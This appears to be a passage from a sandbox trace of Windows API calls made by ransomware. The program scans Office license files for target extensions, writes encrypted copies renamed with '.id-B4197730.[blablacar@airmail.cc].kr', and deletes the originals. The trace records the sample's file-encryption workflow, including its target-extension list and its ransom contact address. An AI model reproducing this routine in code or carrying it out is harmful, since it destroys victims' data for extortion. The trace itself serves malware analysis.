(lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0202.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0202.960] lstrlenW (lpString=".doc") returned 4 [0202.960] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.960] lstrlenW (lpString=".docx") returned 5 [0202.960] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.960] lstrlenW (lpString=".pdf") returned 4 [0202.961] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.961] lstrlenW (lpString=".xls") returned 4 [0202.961] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.961] lstrlenW (lpString=".xlsx") returned 5 [0202.961] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.961] lstrlenW (lpString=".ppt") returned 4 [0202.961] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0202.961] lstrlenW (lpString=".zip") returned 4 [0202.961] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.961] lstrlenW (lpString=".rar") returned 4 [0202.961] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.961] lstrlenW (lpString=".bz2") returned 4 [0202.961] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.961] lstrlenW (lpString=".7z") returned 3 [0202.961] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0202.961] lstrlenW (lpString=".dbf") returned 4 [0202.961] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0202.961] lstrlenW (lpString=".1cd") returned 4 [0202.961] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0202.961] lstrlenW (lpString=".jpg") returned 4 [0202.961] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0202.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0202.961] lstrlenW (lpString=".doc") returned 4 [0202.961] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.961] lstrlenW (lpString=".docx") returned 5 [0202.961] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.961] lstrlenW (lpString=".pdf") returned 4 [0202.962] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.962] lstrlenW (lpString=".xls") returned 4 [0202.962] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.962] lstrlenW (lpString=".xlsx") returned 5 [0202.962] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.962] lstrlenW (lpString=".ppt") returned 4 [0202.962] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0202.962] lstrlenW (lpString=".zip") returned 4 [0202.962] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.962] lstrlenW (lpString=".rar") returned 4 [0202.962] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.962] lstrlenW (lpString=".bz2") returned 4 [0202.962] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.962] lstrlenW (lpString=".7z") returned 3 [0202.962] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0202.962] lstrlenW (lpString=".dbf") returned 4 [0202.962] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0202.962] lstrlenW (lpString=".1cd") returned 4 [0202.962] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0202.962] lstrlenW (lpString=".jpg") returned 4 [0202.962] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.962] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.962] lstrlenW (lpString="O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 36 [0202.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0202.963] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11630) returned 1 [0202.963] CloseHandle (hObject=0x548) returned 1 [0202.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms")) returned 0x220 [0202.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0202.964] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.964] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0202.965] GetLastError () returned 0x0 [0202.965] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d6e, lpOverlapped=0x0) returned 1 [0202.967] WriteFile (in: hFile=0x51c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0202.968] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0202.968] WriteFile (in: hFile=0x51c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x11c, lpOverlapped=0x0) returned 1 [0202.968] SetEndOfFile (hFile=0x51c) returned 1 [0202.968] CloseHandle (hObject=0x51c) returned 1 [0202.968] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.968] SetEndOfFile (hFile=0x548) returned 1 [0202.972] CloseHandle (hObject=0x548) returned 1 [0202.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.973] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms")) returned 1 [0202.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0202.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0202.974] lstrlenW (lpString=".doc") returned 4 [0202.974] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.974] lstrlenW (lpString=".docx") returned 5 [0202.974] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.974] lstrlenW (lpString=".pdf") returned 4 [0202.974] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.974] lstrlenW (lpString=".xls") returned 4 [0202.974] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.974] lstrlenW (lpString=".xlsx") returned 5 [0202.974] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.974] lstrlenW (lpString=".ppt") returned 4 [0202.974] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0202.974] lstrlenW (lpString=".zip") returned 4 [0202.974] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.974] lstrlenW (lpString=".rar") returned 4 [0202.974] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.974] lstrlenW (lpString=".bz2") returned 4 [0202.974] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.974] lstrlenW (lpString=".7z") returned 3 [0202.974] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0202.975] lstrlenW (lpString=".dbf") returned 4 [0202.975] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0202.975] lstrlenW (lpString=".1cd") returned 4 [0202.975] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0202.975] lstrlenW (lpString=".jpg") returned 4 [0202.975] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0202.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0202.975] lstrlenW (lpString=".doc") returned 4 [0202.975] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.975] lstrlenW (lpString=".docx") returned 5 [0202.975] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.975] lstrlenW (lpString=".pdf") returned 4 [0202.975] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.975] lstrlenW (lpString=".xls") returned 4 [0202.975] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.975] lstrlenW (lpString=".xlsx") returned 5 [0202.975] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.975] lstrlenW (lpString=".ppt") returned 4 [0202.975] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0202.975] lstrlenW (lpString=".zip") returned 4 [0202.975] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.975] lstrlenW (lpString=".rar") returned 4 [0202.975] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.975] lstrlenW (lpString=".bz2") returned 4 [0202.975] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.975] lstrlenW (lpString=".7z") returned 3 [0202.976] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0202.976] lstrlenW (lpString=".dbf") returned 4 [0202.976] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0202.976] lstrlenW (lpString=".1cd") returned 4 [0202.976] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0202.976] lstrlenW (lpString=".jpg") returned 4 [0202.976] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.976] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.976] lstrlenW (lpString="O365HomePremR_SubTest4-pl.xrm-ms") returned 32 [0202.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0202.977] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11179) returned 1 [0202.977] CloseHandle (hObject=0x548) returned 1 [0202.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms")) returned 0x220 [0202.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0202.977] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.978] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0202.978] GetLastError () returned 0x0 [0202.978] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2bab, lpOverlapped=0x0) returned 1 [0202.980] WriteFile (in: hFile=0x51c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0202.982] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0202.982] WriteFile (in: hFile=0x51c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x114, lpOverlapped=0x0) returned 1 [0202.982] SetEndOfFile (hFile=0x51c) returned 1 [0202.982] CloseHandle (hObject=0x51c) returned 1 [0202.982] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.982] SetEndOfFile (hFile=0x548) returned 1 [0202.985] CloseHandle (hObject=0x548) returned 1 [0202.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.985] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms")) returned 1 [0202.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0202.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0202.986] lstrlenW (lpString=".doc") returned 4 [0202.986] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.986] lstrlenW (lpString=".docx") returned 5 [0202.986] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.986] lstrlenW (lpString=".pdf") returned 4 [0202.986] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.986] lstrlenW (lpString=".xls") returned 4 [0202.986] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.986] lstrlenW (lpString=".xlsx") returned 5 [0202.986] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.986] lstrlenW (lpString=".ppt") returned 4 [0202.986] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0202.986] lstrlenW (lpString=".zip") returned 4 [0202.986] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.986] lstrlenW (lpString=".rar") returned 4 [0202.986] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.986] lstrlenW (lpString=".bz2") returned 4 [0202.987] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.987] lstrlenW (lpString=".7z") returned 3 [0202.987] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0202.987] lstrlenW (lpString=".dbf") returned 4 [0203.194] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0203.194] lstrlenW (lpString=".1cd") returned 4 [0203.194] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0203.194] lstrlenW (lpString=".jpg") returned 4 [0203.194] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0203.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0203.194] lstrlenW (lpString=".doc") returned 4 [0203.194] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0203.194] lstrlenW (lpString=".docx") returned 5 [0203.194] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0203.194] lstrlenW (lpString=".pdf") returned 4 [0203.194] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0203.194] lstrlenW (lpString=".xls") returned 4 [0203.194] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0203.194] lstrlenW (lpString=".xlsx") returned 5 [0203.194] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0203.194] lstrlenW (lpString=".ppt") returned 4 [0203.194] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0203.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0203.194] lstrlenW (lpString=".zip") returned 4 [0203.195] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0203.195] lstrlenW (lpString=".rar") returned 4 [0203.195] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0203.195] lstrlenW (lpString=".bz2") returned 4 [0203.195] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0203.195] lstrlenW (lpString=".7z") returned 3 [0203.195] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0203.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0203.195] lstrlenW (lpString=".dbf") returned 4 [0203.195] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0203.195] lstrlenW (lpString=".1cd") returned 4 [0203.195] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0203.195] lstrlenW (lpString=".jpg") returned 4 [0203.195] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.195] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0203.195] lstrlenW (lpString="O365HomePremR_SubTrial1-pl.xrm-ms") returned 33 [0203.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0203.197] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11183) returned 1 [0203.197] CloseHandle (hObject=0x574) returned 1 [0203.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms")) returned 0x220 [0203.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0203.198] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.198] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0203.201] GetLastError () returned 0x0 [0203.201] ReadFile (in: hFile=0x574, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2baf, lpOverlapped=0x0) returned 1 [0203.203] WriteFile (in: hFile=0x578, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0203.205] ReadFile (in: hFile=0x574, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0203.205] WriteFile (in: hFile=0x578, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x116, lpOverlapped=0x0) returned 1 [0203.205] SetEndOfFile (hFile=0x578) returned 1 [0203.205] CloseHandle (hObject=0x578) returned 1 [0203.205] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, 